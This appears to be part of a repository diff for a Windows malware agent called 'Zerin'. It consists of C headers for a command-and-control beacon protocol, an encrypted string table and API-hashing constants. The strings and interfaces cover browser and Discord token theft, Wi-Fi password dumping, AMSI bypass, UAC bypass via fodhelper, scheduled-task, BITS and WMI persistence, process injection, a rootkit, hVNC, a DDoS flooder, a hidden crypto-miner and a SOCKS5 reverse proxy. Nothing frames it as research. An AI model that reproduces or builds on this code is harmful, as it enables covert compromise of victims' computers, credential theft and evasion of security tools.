OBF_PRINT_MONITORS = 16, // "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors" (47 bytes)
|
||||
OBF_LSA_PATH = 17, // "SYSTEM\\CurrentControlSet\\Control\\Lsa" (36 bytes)
|
||||
OBF_SECURITY_PACKAGES = 18, // "Security Packages" (17 bytes)
|
||||
OBF_COM_CLSID_PATH = 19, // "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32" (76 bytes)
|
||||
OBF_SHM_NAME = 20, // "Local\\Atow1LRkShm" (17 bytes)
|
||||
OBF_EVT_NAME = 21, // "Local\\Atow1LRkEvt" (17 bytes)
|
||||
OBF_SERVICES_PATH = 22, // "SYSTEM\\CurrentControlSet\\Services" (33 bytes)
|
||||
OBF_DEBUGGER = 23, // "Debugger" (8 bytes)
|
||||
OBF_DRIVER = 24, // "Driver" (6 bytes)
|
||||
OBF_THREADING_MODEL = 25, // "ThreadingModel" (14 bytes)
|
||||
OBF_SCREEN_SAVE_ACTIVE = 26, // "ScreenSaveActive" (16 bytes)
|
||||
OBF_SCREEN_SAVE_TIMEOUT = 27, // "ScreenSaveTimeOut" (17 bytes)
|
||||
OBF_ZERIN_DISPLAY = 28, // "Atow1L Maintenance Service" (26 bytes)
|
||||
OBF_CMD_EXE = 29, // "cmd.exe" (7 bytes)
|
||||
OBF_NTDLL = 30, // "ntdll.dll" (9 bytes)
|
||||
OBF_KERNEL32 = 31, // "kernel32.dll" (12 bytes)
|
||||
OBF_ADVAPI32 = 32, // "advapi32.dll" (12 bytes)
|
||||
OBF_WINHTTP = 33, // "winhttp.dll" (11 bytes)
|
||||
OBF_POWERSHELL = 34, // "powershell.exe" (14 bytes)
|
||||
OBF_PERSIST_MUTEX = 35, // "Local\\Atow1LPersistMtx" (22 bytes)
|
||||
OBF_MS_SETTINGS_CMD = 36, // "Software\\Classes\\ms-settings\\shell\\open\\command" (47 bytes)
|
||||
OBF_DELEGATE_EXECUTE = 37, // "DelegateExecute" (15 bytes)
|
||||
OBF_NETAPI32 = 38, // "netapi32.dll" (12 bytes)
|
||||
OBF_AMSI = 39, // "amsi.dll" (8 bytes)
|
||||
OBF_MSMPENG = 40, // "MsMpEng.exe" (11 bytes)
|
||||
OBF_MPCMDRUN = 41, // "MpCmdRun.exe" (12 bytes)
|
||||
OBF_MSSENSE = 42, // "MsSense.exe" (11 bytes)
|
||||
OBF_SECHEALTH = 43, // "SecurityHealthService.exe" (25 bytes)
|
||||
OBF_SGRMBROKER = 44, // "SgrmBroker.exe" (14 bytes)
|
||||
OBF_CHROME_USERDATA = 45, // "Google\\Chrome\\User Data" (23 bytes)
|
||||
OBF_EDGE_USERDATA = 46, // "Microsoft\\Edge\\User Data" (24 bytes)
|
||||
OBF_BRAVE_USERDATA = 47, // "BraveSoftware\\Brave-Browser\\User Data" (37 bytes)
|
||||
OBF_OPERA_USERDATA = 48, // "Opera Software\\Opera Stable" (27 bytes)
|
||||
OBF_VIVALDI_USERDATA = 49, // "Vivaldi\\User Data" (17 bytes)
|
||||
OBF_FIREFOX_REG = 50, // "SOFTWARE\\Mozilla\\Mozilla Firefox" (32 bytes)
|
||||
OBF_FIREFOX_REGMAIN = 51, // "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main" (40 bytes)
|
||||
OBF_FIREFOX_X64 = 52, // "C:\\Program Files\\Mozilla Firefox" (32 bytes)
|
||||
OBF_FIREFOX_X86 = 53, // "C:\\Program Files (x86)\\Mozilla Firefox" (38 bytes)
|
||||
OBF_VERSION_DLL = 54, // "version.dll" (11 bytes)
|
||||
OBF_DXGI_DLL = 55, // "dxgi.dll" (8 bytes)
|
||||
OBF_D3D11_DLL = 56, // "d3d11.dll" (9 bytes)
|
||||
OBF_RSTRTMGR_DLL = 57, // "rstrtmgr.dll" (12 bytes)
|
||||
OBF_WMIC_AV = 58, // "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list" (100 bytes)
|
||||
OBF_NETSH_PROFILES = 59, // "netsh wlan show profiles" (24 bytes)
|
||||
OBF_NETSH_PROFILE_KEY = 60, // "netsh wlan show profile name=\\\"%s\\\" key=clear" (45 bytes)
|
||||
OBF_IPCONFIG_FLUSH = 61, // "cmd.exe /c ipconfig /flushdns" (29 bytes)
|
||||
OBF_SELF_DELETE = 62, // "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \\\"%s\\\"" (55 bytes)
|
||||
OBF_REG_CRYPTOGRAPHY = 63, // "SOFTWARE\\Microsoft\\Cryptography" (31 bytes)
|
||||
OBF_REG_PUTTY = 64, // "SOFTWARE\\SimonTatham\\PuTTY\\Sessions" (35 bytes)
|
||||
OBF_REG_CPU = 65, // "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0" (46 bytes)
|
||||
OBF_NTDLL_PATH = 66, // "C:\\Windows\\System32\\ntdll.dll" (29 bytes)
|
||||
OBF_HOSTS_PATH = 67, // "C:\\Windows\\System32\\drivers\\etc\\hosts" (37 bytes)
|
||||
OBF_SETHC_EXE = 68, // "sethc.exe" (9 bytes)
|
||||
OBF_FODHELPER_EXE = 69, // "fodhelper.exe" (13 bytes)
|
||||
OBF_CLIPMON_CLASS = 70, // "Atow1LClipMon" (13 bytes)
|
||||
OBF_BLACK_CLASS = 71, // "Atow1LBlack" (11 bytes)
|
||||
OBF_WEBCAM_CLASS = 72, // "Atow1LWebcam" (12 bytes)
|
||||
OBF_DISCORD_LDB = 73, // "discord\\Local Storage\\leveldb" (29 bytes)
|
||||
OBF_DISCORD_CANARY_LDB = 74, // "discordcanary\\Local Storage\\leveldb" (35 bytes)
|
||||
OBF_DISCORD_PTB_LDB = 75, // "discordptb\\Local Storage\\leveldb" (32 bytes)
|
||||
OBF_BRAVE_EXE_PATH = 76, // "BraveSoftware\\Brave-Browser\\Application\\brave.exe" (49 bytes)
|
||||
OBF_CHROME_EXE_PATH = 77, // "Google\\Chrome\\Application\\chrome.exe" (36 bytes)
|
||||
OBF_EDGE_EXE_PATH = 78, // "Microsoft\\Edge\\Application\\msedge.exe" (37 bytes)
|
||||
OBF_FIREFOX_EXE_PATH = 79, // "Mozilla Firefox\\firefox.exe" (27 bytes)
|
||||
OBF_PS_PREFIX = 80, // "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " (75 bytes)
|
||||
OBF_PS_HIDDEN_PREFIX = 81, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " (71 bytes)
|
||||
OBF_SCHTASKS_FMT = 82, // "schtasks /Create /TN \\\"%s\\\" /TR \\\"\\\\\"%s\\\\\"\\\" /SC MINUTE /MO %s /F" (65 bytes)
|
||||
OBF_BITS_CHAIN_FMT = 83, // "cmd.exe /c bitsadmin /create \\\"%s\\\" && bitsadmin /addfile \\\"%s\\\" \\\"https://localhost/noexist\\\" \\\"%%TEMP%%\\atow1L_bits.tmp\\\" && bitsadmin /SetNotifyCmdLine \\\"%s\\\" \\\"%s\\\" NUL && bitsadmin /SetMinRetryDelay \\\"%s\\\" 60 && bitsadmin /SetNoProgressTimeout \\\"%s\\\" 2592000 && bitsadmin /resume \\\"%s\\\"" (291 bytes)
|
||||
OBF_WMI_PS_FMT = 84, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"" (73 bytes)
|
||||
OBF_AMSI_OPEN_SESSION = 85, // "AmsiOpenSession" (15 bytes)
|
||||
OBF_REFLECTIVE_DLL_MAIN = 86, // "ReflectiveDllMain" (17 bytes)
|
||||
OBF_ELEVATION_MONIKER = 87, // "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" (66 bytes)
|
||||
OBF_DDOS_STARTED_FMT = 88, // "DDoS flood started: %s %s | %d threads | %d seconds" (51 bytes)
|
||||
OBF_DDOS_ALREADY = 89, // "DDoS flood already running. Stop it first." (42 bytes)
|
||||
OBF_DDOS_STOPPED_FMT = 90, // "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s" (82 bytes)
|
||||
OBF_DDOS_NOT_RUNNING = 91, // "No DDoS flood is running" (24 bytes)
|
||||
OBF_MINER_STARTED_FMT = 92, // "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d" (61 bytes)
|
||||
OBF_MINER_ALREADY = 93, // "Miner already running. Stop it first." (37 bytes)
|
||||
OBF_MINER_STOPPED_FMT = 94, // "Miner stopped (PID %lu)" (23 bytes)
|
||||
OBF_MINER_NOT_RUNNING = 95, // "No miner is running" (19 bytes)
|
||||
OBF_MINER_DIR = 96, // "Microsoft\\Runtime" (17 bytes)
|
||||
OBF_MINER_EXE = 97, // "svcruntime.exe" (14 bytes)
|
||||
OBF_SOCKS5_STARTED = 98, // "SOCKS5 reverse proxy started" (28 bytes)
|
||||
OBF_SOCKS5_STOPPED = 99, // "SOCKS5 reverse proxy stopped" (28 bytes)
|
||||
OBF_SOCKS5_NOT_RUNNING = 100, // "SOCKS5 was not running" (22 bytes)
|
||||
OBF_MS_SETTINGS_OPEN = 101, // "Software\\Classes\\ms-settings\\shell\\open" (39 bytes)
|
||||
OBF_MS_SETTINGS_SHELL = 102, // "Software\\Classes\\ms-settings\\shell" (34 bytes)
|
||||
OBF_MS_SETTINGS_ROOT = 103, // "Software\\Classes\\ms-settings" (28 bytes)
|
||||
OBF_HVNC_STARTED = 104, // "hVNC streaming started (hidden desktop created)" (47 bytes)
|
||||
OBF_HVNC_STOPPED = 105, // "hVNC stopped (hidden desktop destroyed)" (39 bytes)
|
||||
OBF_HVNC_NOT_RUNNING = 106, // "hVNC was not running" (20 bytes)
|
||||
OBF_HVNC_NOT_ACTIVE = 107, // "hVNC session is not active" (26 bytes)
|
||||
OBF_SCHTASKS_DELETE_FMT = 108, // "schtasks /Delete /TN \\\"%s\\\" /F" (30 bytes)
|
||||
OBF_BITSADMIN_CANCEL_FMT = 109, // "bitsadmin /cancel \\\"%s\\\"" (24 bytes)
|
||||
OBF_PS_WMIDELETE_FMT = 110, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\\\"" (324 bytes)
|
||||
OBF_PS_ENCODED_HIDDEN = 111, // "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s" (60 bytes)
|
||||
OBF_PS_ENCODED = 112, // "powershell -NoProfile -EncodedCommand %s" (40 bytes)
|
||||
OBF_STRING_COUNT = 113
|
||||
};
|
||||
|
||||
// Decrypt string into caller-provided buffer. Returns buf, or NULL on error.
|
||||
char *obf_decrypt_to(int id, char *buf, size_t buf_size);
|
||||
|
||||
// Wipe a decrypted buffer after use.
|
||||
void obf_wipe(char *buf, size_t len);
|
||||
|
||||
#endif // OBF_STRINGS_GEN_H
|
||||
Executable
+74
@@ -0,0 +1,74 @@
|
||||
#ifndef ZERIN_PLATFORM_H
|
||||
#define ZERIN_PLATFORM_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <bcrypt.h>
|
||||
#include <shlwapi.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
|
||||
// NT status
|
||||
#ifndef STATUS_SUCCESS
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#endif
|
||||
|
||||
// Token integrity levels (guard against redefinition from winnt.h)
|
||||
#ifndef SECURITY_MANDATORY_UNTRUSTED_RID
|
||||
#define SECURITY_MANDATORY_UNTRUSTED_RID 0x0000
|
||||
#endif
|
||||
#ifndef SECURITY_MANDATORY_LOW_RID
|
||||
#define SECURITY_MANDATORY_LOW_RID 0x1000
|
||||
#endif
|
||||
#ifndef SECURITY_MANDATORY_MEDIUM_RID
|
||||
#define SECURITY_MANDATORY_MEDIUM_RID 0x2000
|
||||
#endif
|
||||
#ifndef SECURITY_MANDATORY_HIGH_RID
|
||||
#define SECURITY_MANDATORY_HIGH_RID 0x3000
|
||||
#endif
|
||||
#ifndef SECURITY_MANDATORY_SYSTEM_RID
|
||||
#define SECURITY_MANDATORY_SYSTEM_RID 0x4000
|
||||
#endif
|
||||
|
||||
#else
|
||||
// Non-Windows includes
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#endif // _WIN32
|
||||
|
||||
// Cross-platform sleep (milliseconds)
|
||||
static inline void platform_sleep_ms(uint32_t ms) {
|
||||
#ifdef _WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
usleep(ms * 1000);
|
||||
#endif
|
||||
}
|
||||
|
||||
// Get current time as Unix timestamp
|
||||
static inline int64_t platform_time_unix(void) {
|
||||
#ifdef _WIN32
|
||||
FILETIME ft;
|
||||
ULARGE_INTEGER uli;
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
uli.LowPart = ft.dwLowDateTime;
|
||||
uli.HighPart = ft.dwHighDateTime;
|
||||
// Convert from Windows epoch (1601) to Unix epoch (1970)
|
||||
return (int64_t)((uli.QuadPart - 116444736000000000ULL) / 10000000ULL);
|
||||
#else
|
||||
return (int64_t)time(NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
#endif // ZERIN_PLATFORM_H
|
||||
Executable
+8
@@ -0,0 +1,8 @@
|
||||
// Auto-generated by generate_polymorphic.py - DO NOT EDIT
|
||||
#ifndef POLY_CONFIG_H
|
||||
#define POLY_CONFIG_H
|
||||
|
||||
#define STR_KEY 0x8F
|
||||
#define POLY_BUILD_SEED 0xC96ACEA1u
|
||||
|
||||
#endif // POLY_CONFIG_H
|
||||
Executable
+57
@@ -0,0 +1,57 @@
|
||||
// Auto-generated by generate_polymorphic.py - DO NOT EDIT
|
||||
// Algorithm: DJB2(init=5419,mult=33)
|
||||
#ifndef POLY_HASH_H
|
||||
#define POLY_HASH_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// Hash function for narrow (char*) API names
|
||||
static inline uint32_t hash_api(const char *name) {
|
||||
uint32_t h = 5419u;
|
||||
int c;
|
||||
while ((c = *name++) != 0)
|
||||
h = h * 33u + (uint32_t)c;
|
||||
return h;
|
||||
}
|
||||
|
||||
// Hash function for wide (wchar_t*) module names, lowercased
|
||||
static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) {
|
||||
uint32_t h = 5419u;
|
||||
size_t i;
|
||||
for (i = 0; i < chars; i++) {
|
||||
wchar_t c = name[i];
|
||||
if (c == 0) break;
|
||||
if (c >= L'A' && c <= L'Z') c += 32;
|
||||
h = h * 33u + (uint32_t)c;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
// Pre-computed module name hashes (wide, lowercased)
|
||||
#define HASH_NTDLL 0xbc6540d3
|
||||
#define HASH_KERNEL32 0x385c579b
|
||||
#define HASH_ADVAPI32 0x2f3bf36f
|
||||
#define HASH_USER32 0x262ebb99
|
||||
|
||||
// Pre-computed function name hashes (narrow)
|
||||
#define HASH_NtAllocateVirtualMemory 0x1e3b68b2
|
||||
#define HASH_NtProtectVirtualMemory 0xc01ef36e
|
||||
#define HASH_NtWriteVirtualMemory 0x9de0d6b8
|
||||
#define HASH_NtCreateThreadEx 0x9763ad56
|
||||
#define HASH_NtClose 0x9d53aca3
|
||||
#define HASH_NtQueryInformationProcess 0xcf5b9348
|
||||
#define HASH_NtFreeVirtualMemory 0x94eb8a4f
|
||||
#define HASH_RtlGetVersion 0x082c3803
|
||||
#define HASH_NtQuerySystemInformation 0x79ebc5ce
|
||||
#define HASH_VirtualAllocEx 0x3008a55a
|
||||
#define HASH_WriteProcessMemory 0xaf8e166e
|
||||
#define HASH_VirtualProtectEx 0xa46a1e50
|
||||
#define HASH_VirtualFreeEx 0x1548e9f1
|
||||
#define HASH_OpenProcess 0xb556da3c
|
||||
#define HASH_VirtualAlloc 0x004778bd
|
||||
#define HASH_VirtualFree 0xaaafab94
|
||||
#define HASH_VirtualProtect 0xc0ea3c33
|
||||
#define HASH_EtwEventWrite 0xf0315e08
|
||||
|
||||
#endif // POLY_HASH_H
|
||||
Executable
+145
@@ -0,0 +1,145 @@
|
||||
#ifndef ZERIN_PROTOCOL_H
|
||||
#define ZERIN_PROTOCOL_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
// ============================================================================
|
||||
// Serialization buffer
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint8_t *data;
|
||||
size_t len;
|
||||
size_t cap;
|
||||
size_t pos; // Read cursor
|
||||
} buffer_t;
|
||||
|
||||
buffer_t *buffer_new(size_t initial_cap);
|
||||
void buffer_free(buffer_t *buf);
|
||||
int buffer_write_u8(buffer_t *buf, uint8_t val);
|
||||
int buffer_write_u32(buffer_t *buf, uint32_t val);
|
||||
int buffer_write_u64(buffer_t *buf, uint64_t val);
|
||||
int buffer_write_i64(buffer_t *buf, int64_t val);
|
||||
int buffer_write_bytes(buffer_t *buf, const uint8_t *data, size_t len);
|
||||
int buffer_write_string(buffer_t *buf, const char *str);
|
||||
|
||||
int buffer_read_u8(buffer_t *buf, uint8_t *val);
|
||||
int buffer_read_u32(buffer_t *buf, uint32_t *val);
|
||||
int buffer_read_u64(buffer_t *buf, uint64_t *val);
|
||||
int buffer_read_i64(buffer_t *buf, int64_t *val);
|
||||
int buffer_read_bytes(buffer_t *buf, uint8_t **data, size_t *len);
|
||||
int buffer_read_string(buffer_t *buf, char **str);
|
||||
|
||||
// ============================================================================
|
||||
// CheckIn message
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
char agent_id[37];
|
||||
char hostname[256];
|
||||
char username[256];
|
||||
char domain[256];
|
||||
char internal_ip[64];
|
||||
uint32_t pid;
|
||||
uint32_t ppid;
|
||||
char os_version[256];
|
||||
char arch[8];
|
||||
char process_name[260];
|
||||
bool elevated;
|
||||
uint32_t integrity_level;
|
||||
uint32_t sleep_interval;
|
||||
uint32_t jitter_percent;
|
||||
int64_t kill_date;
|
||||
char av_product[128];
|
||||
} checkin_t;
|
||||
|
||||
int checkin_serialize(const checkin_t *ci, buffer_t *buf);
|
||||
int checkin_deserialize(buffer_t *buf, checkin_t *ci);
|
||||
|
||||
// ============================================================================
|
||||
// Envelope (wraps all beacon messages)
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
uint32_t message_type;
|
||||
uint64_t sequence_number;
|
||||
char agent_id[37];
|
||||
int64_t timestamp;
|
||||
uint8_t *payload;
|
||||
size_t payload_len;
|
||||
} envelope_t;
|
||||
|
||||
int envelope_serialize(const envelope_t *env, buffer_t *buf);
|
||||
int envelope_deserialize(buffer_t *buf, envelope_t *env);
|
||||
|
||||
// ============================================================================
|
||||
// Task
|
||||
// ============================================================================
|
||||
#define TASK_MAX_ARGS 32
|
||||
|
||||
typedef struct {
|
||||
char task_id[37];
|
||||
char command[64];
|
||||
char *args[TASK_MAX_ARGS];
|
||||
uint32_t num_args;
|
||||
uint8_t *data;
|
||||
size_t data_len;
|
||||
uint32_t timeout;
|
||||
} task_t;
|
||||
|
||||
int task_deserialize(buffer_t *buf, task_t *task);
|
||||
void task_free(task_t *task);
|
||||
|
||||
// ============================================================================
|
||||
// TaskResult
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
char task_id[37];
|
||||
bool success;
|
||||
char *output;
|
||||
uint8_t *data;
|
||||
size_t data_len;
|
||||
int32_t error_code;
|
||||
char *error_message;
|
||||
} task_result_t;
|
||||
|
||||
int task_result_serialize(const task_result_t *result, buffer_t *buf);
|
||||
void task_result_free(task_result_t *result);
|
||||
|
||||
// ============================================================================
|
||||
// TaskResponse (server → agent: list of tasks)
|
||||
// ============================================================================
|
||||
typedef struct {
|
||||
task_t *tasks;
|
||||
uint32_t num_tasks;
|
||||
} task_response_t;
|
||||
|
||||
int task_response_deserialize(buffer_t *buf, task_response_t *resp);
|
||||
void task_response_free(task_response_t *resp);
|
||||
|
||||
// ============================================================================
|
||||
// Key Exchange wire format
|
||||
// ============================================================================
|
||||
int protocol_build_key_exchange(const uint8_t pubkey_hash[32],
|
||||
const uint8_t ephemeral_pub[32],
|
||||
const uint8_t *encrypted_checkin,
|
||||
size_t encrypted_len,
|
||||
const uint8_t nonce[12],
|
||||
uint8_t **out, size_t *out_len);
|
||||
|
||||
int protocol_parse_key_exchange_response(const uint8_t *data, size_t data_len,
|
||||
uint8_t **encrypted_payload,
|
||||
size_t *encrypted_len,
|
||||
uint8_t nonce[12]);
|
||||
|
||||
// ============================================================================
|
||||
// Beacon wire format (encrypted envelope)
|
||||
// ============================================================================
|
||||
int protocol_build_beacon(const uint8_t session_key[32],
|
||||
const envelope_t *env,
|
||||
uint8_t **out, size_t *out_len);
|
||||
|
||||
int protocol_parse_beacon_response(const uint8_t session_key[32],
|
||||
const uint8_t *data, size_t data_len,
|
||||
envelope_t *env);
|
||||
|
||||
#endif // ZERIN_PROTOCOL_H
|
||||
Executable
+40
@@ -0,0 +1,40 @@
|
||||
#ifndef ZERIN_ROOTKIT_H
|
||||
#define ZERIN_ROOTKIT_H
|
||||
|
||||
#include "config.h"
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
// Initialize rootkit subsystems (unhook, AMSI bypass — no injection yet)
|
||||
int rootkit_init(zerin_config_t *cfg);
|
||||
|
||||
// Start injection (call AFTER first successful beacon)
|
||||
int rootkit_start_injection(void);
|
||||
|
||||
// Cleanup rootkit state
|
||||
void rootkit_cleanup(void);
|
||||
|
||||
// Individual subsystems
|
||||
int rootkit_unhook_ntdll(void);
|
||||
int rootkit_bypass_amsi(void);
|
||||
|
||||
// Injection engine
|
||||
int rootkit_inject_all(void);
|
||||
int rootkit_inject_pid(uint32_t pid);
|
||||
int rootkit_start_monitor(void);
|
||||
void rootkit_stop_monitor(void);
|
||||
|
||||
// Shared memory listener (NtResumeThread IPC — primary new-process mechanism)
|
||||
int rootkit_start_shm_listener(void);
|
||||
void rootkit_stop_shm_listener(void);
|
||||
|
||||
// Status reporting
|
||||
int rootkit_get_status(char *buf, size_t buf_size);
|
||||
|
||||
// State tracking
|
||||
extern volatile LONG g_rootkit_active;
|
||||
extern volatile LONG g_rootkit_injected_count;
|
||||
|
||||
#endif // _WIN32
|
||||
#endif // ZERIN_ROOTKIT_H
|
||||
Executable
+14
@@ -0,0 +1,14 @@
|
||||
#ifndef ZERIN_SLEEP_OBF_H
|
||||
#define ZERIN_SLEEP_OBF_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// Obfuscated sleep: encrypts the agent's image in memory during the
|
||||
// sleep interval using XOR with the provided key, then decrypts on wake.
|
||||
// Falls back to a plain Sleep() if setup fails.
|
||||
//
|
||||
// ms — sleep duration in milliseconds
|
||||
// key — 32-byte encryption key (typically the session key)
|
||||
int sleep_obfuscated(uint32_t ms, const uint8_t *key);
|
||||
|
||||
#endif // ZERIN_SLEEP_OBF_H
|
||||
Executable
+1724
File diff suppressed because it is too large
Load Diff
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#ifndef ZERIN_STRINGS_H
|
||||
#define ZERIN_STRINGS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/* ChaCha20-based obfuscated string system (generated per build) */
|
||||
#include "obf_strings_gen.h"
|
||||
|
||||
#endif /* ZERIN_STRINGS_H */
|
||||
Executable
+24
@@ -0,0 +1,24 @@
|
||||
#ifndef ZERIN_SYSCALLS_H
|
||||
#define ZERIN_SYSCALLS_H
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
|
||||
// Polymorphic hash algorithm + pre-computed constants (generated per build)
|
||||
#include "poly_hash.h"
|
||||
|
||||
// Walk PEB to find a loaded module by its name hash.
|
||||
void *get_module_by_hash(uint32_t hash);
|
||||
|
||||
// Resolve an exported function from a module by function name hash.
|
||||
FARPROC resolve_api(uint32_t module_hash, uint32_t func_hash);
|
||||
|
||||
// Convenience macro: resolve and cast in one step.
|
||||
// Usage: RESOLVE_API(HASH_KERNEL32, HASH_SomeFunc, FuncPtrType)
|
||||
#define RESOLVE_API(mod_hash, func_hash, type) \
|
||||
((type)resolve_api((mod_hash), (func_hash)))
|
||||
|
||||
#endif // _WIN32
|
||||
#endif // ZERIN_SYSCALLS_H
|
||||
Executable
+41
@@ -0,0 +1,41 @@
|
||||
#ifndef ZERIN_TRANSPORT_H
|
||||
#define ZERIN_TRANSPORT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// Transport interface — function pointers allow swapping HTTP/DNS/SMB/etc.
|
||||
typedef struct transport transport_t;
|
||||
|
||||
typedef int (*transport_init_fn)(transport_t *t, const char *url, const char *user_agent);
|
||||
typedef int (*transport_send_fn)(transport_t *t, const char *endpoint,
|
||||
const uint8_t *data, size_t data_len,
|
||||
uint8_t **response, size_t *response_len);
|
||||
typedef void (*transport_cleanup_fn)(transport_t *t);
|
||||
|
||||
struct transport {
|
||||
transport_init_fn init;
|
||||
transport_send_fn send;
|
||||
transport_cleanup_fn cleanup;
|
||||
void *ctx; // Implementation-specific context
|
||||
};
|
||||
|
||||
// HTTP/S transport implementation
|
||||
extern transport_t transport_https;
|
||||
|
||||
int http_init(transport_t *t, const char *url, const char *user_agent);
|
||||
int http_send(transport_t *t, const char *endpoint,
|
||||
const uint8_t *data, size_t data_len,
|
||||
uint8_t **response, size_t *response_len);
|
||||
void http_cleanup(transport_t *t);
|
||||
|
||||
// High-level transport functions used by beacon
|
||||
int transport_do_key_exchange(transport_t *t, const char *base_url,
|
||||
const uint8_t *kx_data, size_t kx_len,
|
||||
uint8_t **response, size_t *response_len);
|
||||
|
||||
int transport_do_beacon(transport_t *t, const char *base_url,
|
||||
const uint8_t *beacon_data, size_t beacon_len,
|
||||
uint8_t **response, size_t *response_len);
|
||||
|
||||
#endif // ZERIN_TRANSPORT_H
|
||||
Executable
+2809
File diff suppressed because it is too large
Load Diff
Executable
+79
@@ -0,0 +1,79 @@
|
||||
#ifndef ZERIN_H
|
||||
#define ZERIN_H
|
||||
|
||||
#define ZERIN_VERSION_MAJOR 1
|
||||
#define ZERIN_VERSION_MINOR 0
|
||||
#define ZERIN_VERSION_PATCH 0
|
||||
|
||||
#define ZERIN_MAX_PAYLOAD (1024 * 1024 * 4) // 4 MB max message
|
||||
#define ZERIN_MAX_TASKS 64
|
||||
#define ZERIN_AGENT_ID_LEN 37 // UUID + null
|
||||
#define ZERIN_KEY_SIZE 32
|
||||
#define ZERIN_NONCE_SIZE 12
|
||||
#define ZERIN_TAG_SIZE 16
|
||||
#define ZERIN_SHA256_SIZE 32
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
// Result codes
|
||||
#define ZERIN_OK 0
|
||||
#define ZERIN_ERR_CRYPTO -1
|
||||
#define ZERIN_ERR_TRANSPORT -2
|
||||
#define ZERIN_ERR_PROTOCOL -3
|
||||
#define ZERIN_ERR_CONFIG -4
|
||||
#define ZERIN_ERR_MEMORY -5
|
||||
#define ZERIN_ERR_TIMEOUT -6
|
||||
#define ZERIN_ERR_KILLED -7
|
||||
|
||||
// Message types (matches proto enum)
|
||||
#define MSG_UNKNOWN 0
|
||||
#define MSG_CHECKIN 1
|
||||
#define MSG_CHECKIN_ACK 2
|
||||
#define MSG_TASK_REQUEST 3
|
||||
#define MSG_TASK_RESPONSE 4
|
||||
#define MSG_TASK_RESULT 5
|
||||
#define MSG_HEARTBEAT 6
|
||||
#define MSG_HEARTBEAT_ACK 7
|
||||
#define MSG_EXIT 8
|
||||
|
||||
#include "config.h"
|
||||
#include "crypto.h"
|
||||
#include "transport.h"
|
||||
#include "protocol.h"
|
||||
#include "commands.h"
|
||||
#include "platform.h"
|
||||
#include "evasion.h"
|
||||
|
||||
// Global agent state
|
||||
typedef struct {
|
||||
zerin_config_t config;
|
||||
uint8_t session_key[ZERIN_KEY_SIZE];
|
||||
bool session_established;
|
||||
uint64_t sequence_number;
|
||||
char cwd[MAX_PATH];
|
||||
bool running;
|
||||
} zerin_agent_t;
|
||||
|
||||
// Base64 encoding
|
||||
char *base64_encode(const uint8_t *data, size_t len, size_t *out_len);
|
||||
|
||||
// Core functions
|
||||
int zerin_init(zerin_agent_t *agent);
|
||||
int zerin_key_exchange(zerin_agent_t *agent);
|
||||
int zerin_beacon_loop(zerin_agent_t *agent);
|
||||
void zerin_cleanup(zerin_agent_t *agent);
|
||||
|
||||
// Debug mode (plaintext JSON beacons, no crypto)
|
||||
#ifdef _DEBUG
|
||||
int debug_checkin(zerin_agent_t *agent);
|
||||
int debug_beacon_loop(zerin_agent_t *agent);
|
||||
#endif
|
||||
|
||||
#endif // ZERIN_H
|
||||
Vendored
BIN
Binary file not shown.
Executable
+5
@@ -0,0 +1,5 @@
|
||||
/.gitattributes export-ignore
|
||||
/.github export-ignore
|
||||
*.ppm binary
|
||||
